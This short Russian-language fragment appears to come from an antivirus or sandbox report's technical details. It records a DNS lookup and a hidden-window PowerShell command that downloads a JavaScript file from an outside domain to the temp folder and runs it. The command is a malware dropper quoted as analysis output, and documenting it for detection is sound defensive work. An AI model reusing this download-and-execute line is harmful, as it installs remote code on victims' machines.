Техническая информация
- DNS ASK ye#####lretailjobs.org
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $yugujg='kjxrchvjb';iex($env:clower);$footer=$env:temp+'\1570001154414.js';$glow.DownloadFile('https://yei3pallretailjobs.org/1570001166820.js',$footer);Invoke-Item $footer;' (со скрытым окном)